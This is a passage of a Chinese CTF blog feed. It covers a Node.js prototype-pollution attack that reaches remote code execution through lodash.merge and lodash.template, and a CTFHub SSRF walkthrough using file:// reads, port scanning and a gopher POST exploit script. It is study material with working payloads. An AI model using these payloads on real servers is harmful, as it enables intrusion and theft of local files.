punctuation">(</span><span class="token punctuation">&#123;</span><span class="token literal-property property">extended</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span>bodyParser<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token string">'/static'</span><span class="token punctuation">,</span> express<span class="token punctuation">.</span><span class="token function">static</span><span class="token punctuation">(</span><span class="token string">'static'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token function">session</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">'thejs.session'</span><span class="token punctuation">,</span>    <span class="token literal-property property">secret</span><span class="token operator">:</span> <span class="token function">randomize</span><span class="token punctuation">(</span><span class="token string">'aA0'</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token literal-property property">resave</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span>    <span class="token literal-property property">saveUninitialized</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">engine</span><span class="token punctuation">(</span><span class="token string">'ejs'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">filePath<span class="token punctuation">,</span> options<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// define the template engine</span>    fs<span class="token punctuation">.</span><span class="token function">readFile</span><span class="token punctuation">(</span>filePath<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> content</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">let</span> compiled <span class="token operator">=</span> lodash<span class="token punctuation">.</span><span class="token function">template</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span>        <span class="token keyword">let</span> rendered <span class="token operator">=</span> <span class="token function">compiled</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token operator">...</span>options<span class="token punctuation">&#125;</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> rendered<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">'views'</span><span class="token punctuation">,</span> <span class="token string">'./views'</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">'view engine'</span><span class="token punctuation">,</span> <span class="token string">'ejs'</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> data <span class="token operator">=</span> req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>data <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">language</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">category</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span>    <span class="token comment">// 接收post请求</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>method <span class="token operator">==</span> <span class="token string">'POST'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// 对象数据合并操作</span>        data <span class="token operator">=</span> lodash<span class="token punctuation">.</span><span class="token function">merge</span><span class="token punctuation">(</span>data<span class="token punctuation">,</span> req<span class="token punctuation">.</span>body<span class="token punctuation">)</span>        <span class="token comment">// 把data存到session中</span>        req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>data <span class="token operator">=</span> data    <span class="token punctuation">&#125;</span>        res<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string">'index'</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">language</span><span class="token operator">:</span> data<span class="token punctuation">.</span>language<span class="token punctuation">,</span>         <span class="token literal-property property">category</span><span class="token operator">:</span> data<span class="token punctuation">.</span>category    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span><span class="token number">3000</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Example app listening on port 3000!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><p>直接就看到了<code>lodash.merge</code>这个操作，具体可以回顾我前面的 <a href="https://www.extrader.top/posts/45af3b18/">JavaScript原型链污染漏洞学习</a></p><p>先看一下发送正常的数据包，后端的数据变化</p><pre class="language-none"><code class="language-none">language[]&#x3D;python&amp;language[]&#x3D;go&amp;category[]&#x3D;pwn</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816173909214.png" alt loading="lazy"></p><p>步过：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816174013095.png" alt loading="lazy"></p><p>可以看到将<code>language</code>和<code>category</code>这两个数组对象存到了data中，简单来说，就是在data这个对象中添加了两个数组对象，数组的值就是我们post提交的值</p><p>根据我们前面分析的<code>merge</code>利用操作，我们可以直接post一个<code>json</code>格式的字符串，来对data这个对象的原型进行修改，data对象的原型就是<code>Object</code>，看下<code>data.__proto__</code>就可以知道</p><p>那我们这里可以尝试一下</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span><span class="token string-property property">"__proto__"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token string-property property">"name"</span><span class="token operator">:</span><span class="token string">"extrader"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>注意要设置<code>Content-Type: application/json</code>，否则后端<code>express</code>不会解析<code>json</code>，而且要保证子类中没有<code>name</code>这个变量，子类会继承父类的所有方法，只有当前类没有定义这个变量，才会去父类寻找。</p><p>断点下着，看调试结果</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816174956140.png" alt loading="lazy"></p><p>步过：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816175302271.png" alt loading="lazy"></p><p>看到上图，我们成功污染了Object原型方法，在里面加入了一个name，那这个时候，改如何利用这一点？我们的目的，RCE</p><p>所以我们需要找到一个在影响Object后可以RCE的地方，其实这才是关键。。。</p><p>直接看结果吧</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">app<span class="token punctuation">.</span><span class="token function">engine</span><span class="token punctuation">(</span><span class="token string">'ejs'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">filePath<span class="token punctuation">,</span> options<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// define the template engine</span>    fs<span class="token punctuation">.</span><span class="token function">readFile</span><span class="token punctuation">(</span>filePath<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> content</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">let</span> compiled <span class="token operator">=</span> lodash<span class="token punctuation">.</span><span class="token function">template</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span>        <span class="token keyword">let</span> rendered <span class="token operator">=</span> <span class="token function">compiled</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token operator">...</span>options<span class="token punctuation">&#125;</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> rendered<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p><code>lodash.template</code>：一个模板引擎 方法，我们可以在<code>server.js</code>的代码中看到</p><p>找到源代码，主要看以下代码</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Use a sourceURL for easier debugging.</span><span class="token keyword">var</span> sourceURL <span class="token operator">=</span> <span class="token string">'sourceURL'</span> <span class="token keyword">in</span> options <span class="token operator">?</span> <span class="token string">'//# sourceURL='</span> <span class="token operator">+</span> options<span class="token punctuation">.</span>sourceURL <span class="token operator">+</span> <span class="token string">'\n'</span> <span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">;</span><span class="token operator">...</span><span class="token keyword">var</span> result <span class="token operator">=</span> <span class="token function">attempt</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">Function</span><span class="token punctuation">(</span>importsKeys<span class="token punctuation">,</span> sourceURL <span class="token operator">+</span> <span class="token string">'return '</span> <span class="token operator">+</span> source<span class="token punctuation">)</span>        <span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">,</span> importsValues<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p><code>options</code>是一个<code>Object</code>，<code>sourceURL</code>这个变量取<code>options.sourceURL</code>中的值，原本<code>options</code>中是没有<code>sourceURL</code>这个值的，于是这个变量为空</p><p>但是通过原型链污染，我们可以令<code>options.sourceURL</code>中有值，即取到<code>Object</code>中的值，于是我们就可以控制<code>sourceURL</code>这个变量</p><p>在后面我们可以看到<code>sourceURL</code>被拼接到<code>Function</code>方法的最后一个参数，这个参数是<code>一个含有包括函数定义的 JavaScript 语句的字符串。</code></p><p><code>Function</code>这里定义了一个函数是不会调用的，但后面跟了个<code>apply</code>方法，而这个方法就是给前面的<code>Function</code>传值调用的，于是就执行了<code>Function</code>中的代码</p><p>构造恶意payload如下</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span><span class="token string-property property">"__proto__"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token string-property property">"sourceURL"</span><span class="token operator">:</span><span class="token string">"\nreturn e=> &#123;return global.process.mainModule.constructor._load('child_process').execSync('whoami')&#125;\n//"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>注意这里为什么要用<code>e=&gt;</code>箭头函数，如果不使用的话，会报一个<code>TypeError: compiled is not a function</code>错误</p><p><code>compiled</code>得到的是<code>lodash.template</code>返回的结果，即<code>template</code>中定义的<code>result</code>，而这个结果需要是一个<code>function</code>，因为后面有<code>compiled(&#123;...options&#125;)</code>调用，具体看<code>server</code>代码</p><p>所以我们需要使用箭头函数返回一个<code>function</code>，使得程序能够继续运行下去</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816194701617.png" alt loading="lazy"></p><p>以上payload确实可以得到命令执行的结果，但是这样并不好</p><p>P🐮给出的解释如下</p><blockquote><p>原型链污染攻击有个弊端，就是你一旦污染了原型链，除非整个程序重启，否则所有的对象都会被污染与影响。<br>这将导致一些正常的业务出现bug，或者就像这道题里一样，我的payload发出去，response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果，所以在CTF中就会泄露自己好不容易拿到的flag，所以需要一个for循环把Object对象里污染的原型删掉。</p></blockquote><p>如果我们用上面的payload，然后我们随意访问题目链接，都会将我们命令执行的结果输出出来，于是就有了改进后的payload</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span><span class="token string-property property">"__proto__"</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token string-property property">"sourceURL"</span><span class="token operator">:</span><span class="token string">"\nreturn e=> &#123;for (var a in &#123;&#125;) &#123;delete Object.prototype[a];&#125; return global.process.mainModule.constructor._load('child_process').execSync('whoami')&#125;\n//"</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>这样就不会出现破坏真实业务这种情况了</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%AE%B0%E5%87%A0%E9%81%93JavaScript%E9%A2%98/image-20210816192145910.png" alt loading="lazy"></p><p>命令执行还可以使用<code>require</code></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">global<span class="token punctuation">.</span><span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"child_process"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">execSync</span><span class="token punctuation">(</span><span class="token string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>但是这道题中并没有<code>require</code></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>原型链还是比较有意思的，但总的来说还是代码审计，慢慢来吧</li><li>未完待续，后面如果碰到了有意思<code>JavaScript</code>的题还会继续往上面放</li></ul><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://xz.aliyun.com/t/7184">Node.js 常见漏洞学习与总结</a></li><li><a href="https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html">深入理解 JavaScript Prototype 污染攻击</a></li><li><a href="https://www.zhaoj.in/read-6462.html">i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp</a></li><li><a href="https://xz.aliyun.com/t/7184">Node.js 常见漏洞学习与总结</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Tip：&lt;code&gt;npm audit&lt;/code&gt;，Run a security audit&lt;/p&gt;
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="原型链" scheme="https://www.extrader.top/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE/"/>
    
      <category term="JavaScript" scheme="https://www.extrader.top/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>CTFHub-SSRF学习</title>
    <link href="https://www.extrader.top/posts/ad205f1c/"/>
    <id>https://www.extrader.top/posts/ad205f1c/</id>
    <published>2021-07-08T06:20:21.000Z</published>
    <updated>2022-03-26T05:48:50.929Z</updated>
    
    <content type="html"><![CDATA[<p>主要学习一下内网中各种常用的协议，一步步来</p><span id="more"></span><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>SSRF漏洞的主要成因主要是因为Web应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤</p><p>攻击者利用SSRF可以实现的攻击如下：</p><ol><li>可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;</li><li>攻击运行在内网或本地的应用程序(比如溢出);</li><li>对内网web应用进行指纹识别，通过访问默认文件实现;</li><li>攻击内外网的web应用，主要是使用get参数就可以实现的攻击(比如struts2，sqli等);</li><li>利用file协议读取本地文件等。</li></ol><p>CTFHub上的题</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707142325348.png" alt loading="lazy"></p><h3 id="内网访问"><a href="#内网访问" class="headerlink" title="内网访问"></a>内网访问</h3><p>题目提示<code>尝试访问位于127.0.0.1的flag.php吧</code></p><p>http协议直接读了</p><pre class="language-none"><code class="language-none">?url&#x3D;http:&#x2F;&#x2F;127.0.0.1&#x2F;flag.php</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707142536551.png" alt loading="lazy"></p><h3 id="伪协议读取文件"><a href="#伪协议读取文件" class="headerlink" title="伪协议读取文件"></a>伪协议读取文件</h3><p>题目提示<code>尝试去读取一下Web目录下的flag.php吧</code></p><p>file协议读取文件，需要绝对路径</p><pre class="language-none"><code class="language-none">?url&#x3D;file:&#x2F;&#x2F;&#x2F;var&#x2F;www&#x2F;html&#x2F;flag.php</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707144256095.png" alt loading="lazy"></p><p>我们可以再读一下index.php看看漏洞代码，代码如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">header</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Location: /?url=_"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">exit</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token variable">$ch</span> <span class="token operator">=</span> <span class="token function">curl_init</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">curl_setopt</span><span class="token punctuation">(</span><span class="token variable">$ch</span><span class="token punctuation">,</span> <span class="token constant">CURLOPT_URL</span><span class="token punctuation">,</span> <span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">curl_setopt</span><span class="token punctuation">(</span><span class="token variable">$ch</span><span class="token punctuation">,</span> <span class="token constant">CURLOPT_HEADER</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">curl_exec</span><span class="token punctuation">(</span><span class="token variable">$ch</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">curl_close</span><span class="token punctuation">(</span><span class="token variable">$ch</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p>可以看到，这里使用的是PHP <code>cURL</code> 函数来进行数据的获取，具体可参考 -&gt; <a href="https://www.runoob.com/php/php-ref-curl.html">PHP cURL 函数</a></p><p>支持http、https、ftp、gopher、telnet、dict、file和ldap协议</p><h3 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h3><p>题目提示<code>来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦</code></p><p>http请求，放到bp里跑一下端口即可，当然也可以先用dict协议来进行端口探测，然后再使用http来访问内容</p><pre class="language-none"><code class="language-none">?url&#x3D;http:&#x2F;&#x2F;127.0.0.1:8704</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707151631243.png" alt loading="lazy"></p><h3 id="POST请求"><a href="#POST请求" class="headerlink" title="POST请求"></a>POST请求</h3><p>题目提示<code>这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年</code></p><p>扫描结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707155826050.png" alt loading="lazy"></p><p>访问flag.php提示<code>Just View From 127.0.0.1</code></p><p>利用SSRF请求</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707160354027.png" alt loading="lazy"></p><p>另外用file可以读到源码</p><p>flag.php</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"REMOTE_ADDR"</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string double-quoted-string">"127.0.0.1"</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Just View From 127.0.0.1"</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token variable">$flag</span><span class="token operator">=</span><span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"CTFHUB"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$key</span> <span class="token operator">=</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$flag</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"key"</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"key"</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token variable">$key</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>    <span class="token keyword">exit</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>form</span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/flag.php<span class="token punctuation">"</span></span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>key<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token comment">&lt;!-- Debug: key=<span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token keyword">echo</span> <span class="token variable">$key</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span>--></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>form</span><span class="token punctuation">></span></span></code></pre><p>可以看到需要POST一个key，并且key要等于md5(flag)，才可以拿到flag，并且需要<code>$_SERVER[&quot;REMOTE_ADDR&quot;] == &quot;127.0.0.1&quot;</code> </p><p>key前面是拿到了的，为<code>bacd40b119dfa24fa24640331508799f</code></p><p>于是利用<code>gopher</code>协议发包</p><p>数据包为</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/flag.php</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">127.0.0.1</span></span><span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">application/x-www-form-urlencoded</span></span><span class="token header"><span class="token header-name keyword">Content-Length</span><span class="token punctuation">:</span> <span class="token header-value">36</span></span>key=bacd40b119dfa24fa24640331508799f</code></pre><p>用python请求，exp如下</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> urllib<span class="token punctuation">.</span>parse<span class="token keyword">import</span> requestsurl <span class="token operator">=</span> <span class="token string">"http://challenge-27a1758eb0df6f71.sandbox.ctfhub.com:10800/?url="</span>payload <span class="token operator">=</span>\<span class="token triple-quoted-string string">"""POST /flag.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 36key=bacd40b119dfa24fa24640331508799f"""</span><span class="token comment">#注意后面一定要有回车，回车结尾表示http请求结束</span>tmp <span class="token operator">=</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>new <span class="token operator">=</span> tmp<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'%0A'</span><span class="token punctuation">,</span><span class="token string">'%0D%0A'</span><span class="token punctuation">)</span>result <span class="token operator">=</span> <span class="token string">'gopher://127.0.0.1:80/'</span><span class="token operator">+</span><span class="token string">'_'</span><span class="token operator">+</span>newresult <span class="token operator">=</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span>       <span class="token comment"># 这里因为是GET请求所以要进行两次url编码</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token operator">+</span>result<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span></code></pre><pre class="language-none"><code class="language-none">gopher%3A&#x2F;&#x2F;127.0.0.1%3A80&#x2F;_POST%2520&#x2F;flag.php%2520HTTP&#x2F;1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application&#x2F;x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbacd40b119dfa24fa24640331508799f%250D%250A</code></pre><p>请求结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707163338679.png" alt loading="lazy"></p><h3 id="上传文件"><a href="#上传文件" class="headerlink" title="上传文件"></a>上传文件</h3><p>题目提示<code>这次需要上传一个文件到flag.php了.祝你好运</code></p><p>http请求一下flag.php</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/CTFHub-SSRF%E5%AD%A6%E4%B9%A0/image-20210707164424153.png" alt loading="lazy"></p><p>file读下源码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"REMOTE_ADDR"</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string double-quoted-string">"127.0.0.1"</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Just View From 127.0.0.1"</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"file"</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"file"</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"size"</span><span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"CTFHUB"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">exit</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span 